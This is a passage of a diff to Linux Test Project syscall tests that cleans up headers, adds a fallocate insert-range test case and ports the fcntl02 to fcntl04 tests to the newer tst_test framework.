 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	if ((tst_kvercmp(2, 6, 27)) < 0) {
 		tst_brkm(TCONF, NULL,
 			 "This test can only run on kernels that are 2.6.27 and higher");
diff --git a/testcases/kernel/syscalls/faccessat/faccessat01.c b/testcases/kernel/syscalls/faccessat/faccessat01.c
index c9ab020..622dfd3 100644
--- a/testcases/kernel/syscalls/faccessat/faccessat01.c
+++ b/testcases/kernel/syscalls/faccessat/faccessat01.c
@@ -37,7 +37,6 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fallocate/fallocate01.c b/testcases/kernel/syscalls/fallocate/fallocate01.c
index e72b123..89ce996 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate01.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate01.c
@@ -96,12 +96,11 @@
 #include <fcntl.h>
 #include <sys/syscall.h>
 #include <unistd.h>
-#include <error.h>
 #include <inttypes.h>
 #include <sys/utsname.h>
 
 #include "test.h"
-#include "fallocate.h"
+#include "lapi/fallocate.h"
 #include "lapi/fcntl.h"
 
 #define BLOCKS_WRITTEN 12
diff --git a/testcases/kernel/syscalls/fallocate/fallocate02.c b/testcases/kernel/syscalls/fallocate/fallocate02.c
index ba37796..bee0863 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate02.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate02.c
@@ -39,7 +39,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-#include "fallocate.h"
+#include "lapi/fallocate.h"
 
 #define BLOCKS_WRITTEN		12
 #ifdef TEST_DEFAULT
diff --git a/testcases/kernel/syscalls/fallocate/fallocate03.c b/testcases/kernel/syscalls/fallocate/fallocate03.c
index 092d2bb..d73d07d 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate03.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate03.c
@@ -96,7 +96,7 @@
 #include <sys/utsname.h>
 
 #include "test.h"
-#include "fallocate.h"
+#include "lapi/fallocate.h"
 
 #define BLOCKS_WRITTEN 12
 #define HOLE_SIZE_IN_BLOCKS 12
diff --git a/testcases/kernel/syscalls/fallocate/fallocate04.c b/testcases/kernel/syscalls/fallocate/fallocate04.c
index 910d0fb..a672916 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate04.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate04.c
@@ -32,10 +32,10 @@
 
 #include "test.h"
 #include "safe_macros.h"
-#include "fallocate.h"
+#include "lapi/fallocate.h"
 
 char *TCID = "fallocate04";
-int TST_TOTAL = 4;
+int TST_TOTAL = 5;
 
 static int fd;
 static const char fname[] = "fallocate04.txt";
@@ -75,6 +75,8 @@
 {
 	struct stat file_stat;
 
+	fsync(fd);
+
 	SAFE_FSTAT(cleanup, fd, &file_stat);
 
 	return file_stat.st_blocks * 512;
@@ -266,7 +268,8 @@
 	fill_tst_buf(tmp_buf);
 
 	memcpy(exp_buf, tmp_buf, block_size);
-	memcpy(exp_buf + block_size, tmp_buf + size, block_size);
+	memcpy(exp_buf + block_size, tmp_buf + 2 * block_size,
+	       buf_size - block_size * 2);
 
 	exp_buf[block_size - 1] = exp_buf[block_size] = '\0';
 	check_file_data(exp_buf, size);
@@ -274,6 +277,44 @@
 	tst_resm(TPASS, "test-case succeeded");
 }
 
+static void test05(void)
+{
+	tst_resm(TINFO, "inserting space with FALLOC_FL_INSERT_RANGE");
+
+	size_t alloc_size0 = get_allocsize();
+
+	tst_resm(TINFO, "read current allocated file size '%zu'", alloc_size0);
+
+	if (fallocate(fd, FALLOC_FL_INSERT_RANGE, block_size,
+	    block_size) == -1) {
+		if (errno == EOPNOTSUPP) {
+			tst_brkm(TCONF, cleanup,
+				 "FALLOC_FL_INSERT_RANGE not supported");
+		}
+		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+	}
+
+	/* allocate space and ensure that it filled with zeroes */
+	if (fallocate(fd, FALLOC_FL_ZERO_RANGE, block_size, block_size) == -1)
+		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+
+	size_t alloc_size1 = get_allocsize();
+
+	tst_resm(TINFO, "allocated file size before '%zu' and after '%zu'",
+		 alloc_size0, alloc_size1);
+	if ((alloc_size0 + block_size) != alloc_size1)
+		tst_brkm(TFAIL, cleanup, "not expected allocated size");
+
+	char exp_buf[buf_size];
+
+	fill_tst_buf(exp_buf);
+	memset(exp_buf + block_size - 1, 0, block_size + 2);
+
+	check_file_data(exp_buf, buf_size);
+
+	tst_resm(TPASS, "test-case succeeded");
+}
+
 int main(int argc, char *argv[])
 {
 	int lc;
@@ -287,6 +328,7 @@
 		test02();
 		test03();
 		test04();
+		test05();
 	}
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/fanotify/fanotify01.c b/testcases/kernel/syscalls/fanotify/fanotify01.c
index fb0f6eb..1df3a69 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify01.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify01.c
@@ -31,7 +31,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/fanotify/fanotify02.c b/testcases/kernel/syscalls/fanotify/fanotify02.c
index 5de49f2..5a48e65 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify02.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify02.c
@@ -31,7 +31,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/fanotify/fanotify03.c b/testcases/kernel/syscalls/fanotify/fanotify03.c
index 8310198..4dc55c9 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify03.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify03.c
@@ -32,7 +32,7 @@
 #include <unistd.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/wait.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fanotify/fanotify04.c b/testcases/kernel/syscalls/fanotify/fanotify04.c
index 9451be3..bffa3e5 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify04.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify04.c
@@ -32,7 +32,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/fanotify/fanotify05.c b/testcases/kernel/syscalls/fanotify/fanotify05.c
index 517bd26..735b415 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify05.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify05.c
@@ -30,7 +30,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/fanotify/fanotify06.c b/testcases/kernel/syscalls/fanotify/fanotify06.c
index 3c8ab8d..cc20cc1 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify06.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify06.c
@@ -39,7 +39,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/mount.h>
diff --git a/testcases/kernel/syscalls/fchmod/fchmod01.c b/testcases/kernel/syscalls/fchmod/fchmod01.c
index ed6bc44..dd4a28c 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod01.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod01.c
@@ -106,7 +106,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <signal.h>
@@ -163,7 +163,7 @@
 	sprintf(fname, "tfile_%d", getpid());
 	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
-	else if (write(fd, &buf, strlen(buf)) == -1)
+	else if (write(fd, buf, strlen(buf)) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "write failed");
 }
 
diff --git a/testcases/kernel/syscalls/fchmod/fchmod02.c b/testcases/kernel/syscalls/fchmod/fchmod02.c
index 9f1cbff..1cf944f 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod02.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod02.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchmod/fchmod03.c b/testcases/kernel/syscalls/fchmod/fchmod03.c
index 633790d..a3e79b3 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod03.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod03.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchmod/fchmod04.c b/testcases/kernel/syscalls/fchmod/fchmod04.c
index 1971819..77948fd 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod04.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod04.c
@@ -73,7 +73,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchmod/fchmod05.c b/testcases/kernel/syscalls/fchmod/fchmod05.c
index 46f9c23..8ab75c8 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod05.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod05.c
@@ -78,7 +78,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchmod/fchmod07.c b/testcases/kernel/syscalls/fchmod/fchmod07.c
index 8ae3b28..ab03721 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod07.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod07.c
@@ -68,7 +68,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchmodat/fchmodat01.c b/testcases/kernel/syscalls/fchmodat/fchmodat01.c
index 0b35bf9..6bf66d8 100644
--- a/testcases/kernel/syscalls/fchmodat/fchmodat01.c
+++ b/testcases/kernel/syscalls/fchmodat/fchmodat01.c
@@ -37,7 +37,6 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fchown/fchown02.c b/testcases/kernel/syscalls/fchown/fchown02.c
index cb9ed4d..0fef74d 100644
--- a/testcases/kernel/syscalls/fchown/fchown02.c
+++ b/testcases/kernel/syscalls/fchown/fchown02.c
@@ -30,7 +30,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchown/fchown03.c b/testcases/kernel/syscalls/fchown/fchown03.c
index 6ee1506..f7fe994 100644
--- a/testcases/kernel/syscalls/fchown/fchown03.c
+++ b/testcases/kernel/syscalls/fchown/fchown03.c
@@ -31,7 +31,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchown/fchown05.c b/testcases/kernel/syscalls/fchown/fchown05.c
index 019dbeb..1897a2e 100644
--- a/testcases/kernel/syscalls/fchown/fchown05.c
+++ b/testcases/kernel/syscalls/fchown/fchown05.c
@@ -26,7 +26,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fchownat/fchownat01.c b/testcases/kernel/syscalls/fchownat/fchownat01.c
index b361253..9f4ecde 100644
--- a/testcases/kernel/syscalls/fchownat/fchownat01.c
+++ b/testcases/kernel/syscalls/fchownat/fchownat01.c
@@ -28,7 +28,6 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fchownat/fchownat02.c b/testcases/kernel/syscalls/fchownat/fchownat02.c
index 6b0304c..d19f3f3 100644
--- a/testcases/kernel/syscalls/fchownat/fchownat02.c
+++ b/testcases/kernel/syscalls/fchownat/fchownat02.c
@@ -26,7 +26,6 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fcntl/fcntl02.c b/testcases/kernel/syscalls/fcntl/fcntl02.c
index afec24a..cffa921 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl02.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl02.c
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -30,152 +31,64 @@
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
  */
-/* $Id: fcntl02.c,v 1.8 2009/11/02 13:57:16 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fcntl02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for fcntl(2) using F_DUPFD argument.
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) fcntl(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fcntl(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fcntl(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
+ /*
+  * Basic test for fcntl(2) using F_DUPFD argument.
+  */
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <errno.h>
 #include <fcntl.h>
-#include <signal.h>
-#include <string.h>
 #include <unistd.h>
-#include "test.h"
+#include <errno.h>
+#include <stdio.h>
 
-void setup();
-void cleanup();
+#include "tst_test.h"
 
-char *TCID = "fcntl02";
-int TST_TOTAL = 1;
+static int fd;
+static char fname[256];
 
-char fname[255];
-int fd;
+static const int min_fds[] = {0, 1, 2, 3, 10, 100};
 
-int main(int ac, char **av)
+static void verify_fcntl(unsigned int n)
 {
-	int lc;
+	int min_fd = min_fds[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(fcntl(fd, F_DUPFD, min_fd));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(fcntl(fd, F_DUPFD, 0));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO,
-				 "fcntl(%s, F_DUPFD, 0) failed", fname);
-		else {
-			tst_resm(TPASS,
-				 "fcntl(%s, F_DUPFD, 0) returned %ld",
-				 fname, TEST_RETURN);
-			if (close(TEST_RETURN) == -1)
-				tst_resm(TWARN | TERRNO, "close failed");
-		}
-
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_DUPFD, %i) failed",
+			fname, min_fd);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_RETURN < min_fd) {
+		tst_res(TFAIL, "fcntl(%s, F_DUPFD, %i) returned %ld < %i",
+			fname, min_fd, TEST_RETURN, min_fd);
+	}
+
+	tst_res(TPASS, "fcntl(%s, F_DUPFD, %i) returned %ld",
+		fname, min_fd, TEST_RETURN);
+
+	SAFE_CLOSE(TEST_RETURN);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK, cleanup, "open failed");
+	sprintf(fname, "fcntl02_%d", getpid());
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TBROK | TERRNO, "close failed");
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tid = "fcntl02",
+	.needs_tmpdir = 1,
+	.test = verify_fcntl,
+	.tcnt = ARRAY_SIZE(min_fds),
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl03.c b/testcases/kernel/syscalls/fcntl/fcntl03.c
index 2e9fd51..cf2f8cf 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl03.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl03.c
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -30,148 +31,52 @@
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
  */
-/* $Id: fcntl03.c,v 1.8 2009/11/02 13:57:16 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fcntl03
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for fcntl(2) using F_GETFD argument.
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) fcntl(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fcntl(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fcntl(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
+ /*
+  * Basic test for fcntl(2) using F_GETFD argument.
+  */
 
 #include <sys/types.h>
+#include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <sys/stat.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include <stdio.h>
 
-void setup();
-void cleanup();
+#include "tst_test.h"
 
-char *TCID = "fcntl03";
-int TST_TOTAL = 1;
+static char fname[255];
+static int fd;
 
-char fname[255];
-int fd;
-
-int main(int ac, char **av)
+static void verify_fcntl(void)
 {
-	int lc;
+	TEST(fcntl(fd, F_GETFD, 0));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(fcntl(fd, F_GETFD, 0));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "fcntl failed");
-		else
-			tst_resm(TPASS,
-				 "fcntl(%s, F_GETFD, 0) returned %ld",
-				 fname, TEST_RETURN);
-
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_GETFD, 0) failed",
+			fname);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "fcntl(%s, F_GETFD, 0) returned %ld",
+		fname, TEST_RETURN);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	sprintf(fname, "fcntl03_%d", getpid());
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tid = "fcntl03",
+	.needs_tmpdir = 1,
+	.test_all = verify_fcntl,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl04.c b/testcases/kernel/syscalls/fcntl/fcntl04.c
index ed2c016..cddc6c3 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl04.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl04.c
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -30,146 +31,58 @@
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
  */
-/* $Id: fcntl04.c,v 1.8 2009/11/02 13:57:16 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fcntl04
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for fcntl(2) using F_GETFL argument.
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) fcntl(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fcntl(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fcntl(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
+ /*
+  * Basic test for fcntl(2) using F_GETFL argument.
+  */
 #include <sys/types.h>
+#include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <sys/stat.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include <stdio.h>
 
-void setup();
-void cleanup();
+#include "tst_test.h"
 
-char *TCID = "fcntl04";
-int TST_TOTAL = 1;
+static int fd;
+static char fname[255];
 
-char fname[255];
-int fd;
-
-int main(int ac, char **av)
+static void verify_fcntl(void)
 {
-	int lc;
+	TEST(fcntl(fd, F_GETFL, 0));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(fcntl(fd, F_GETFL, 0));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "fcntl failed");
-		else
-			tst_resm(TPASS, "fcntl returned %ld", TEST_RETURN);
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "fcntl(%s, F_GETFL, 0) failed",
+			fname);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if ((TEST_RETURN & O_ACCMODE) != O_RDWR) {
+		tst_res(TFAIL, "fcntl(%s, F_GETFL, 0) returned wrong "
+			"access mode %li, expected %i", fname,
+			TEST_RETURN & O_ACCMODE, O_RDWR);
+		return;
+	}
+
+	tst_res(TPASS, "fcntl(%s, F_GETFL, 0) returned %lx",
+		fname, TEST_RETURN);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	sprintf(fname, "fcntl04_%d", getpid());
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tid = "fcntl04",
+	.needs_tmpdir = 1,
+	.test_all = verify_fcntl,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl11.c b/testcases/kernel/syscalls/fcntl/fcntl11.c
index fa6ce53..2de2b6c 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl11.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl11.c
@@ -105,10 +105,10 @@
 	memset(&act, 0, sizeof(act));
 	act.sa_handler = catch_child;
 	sigemptyset(&act.sa_mask);
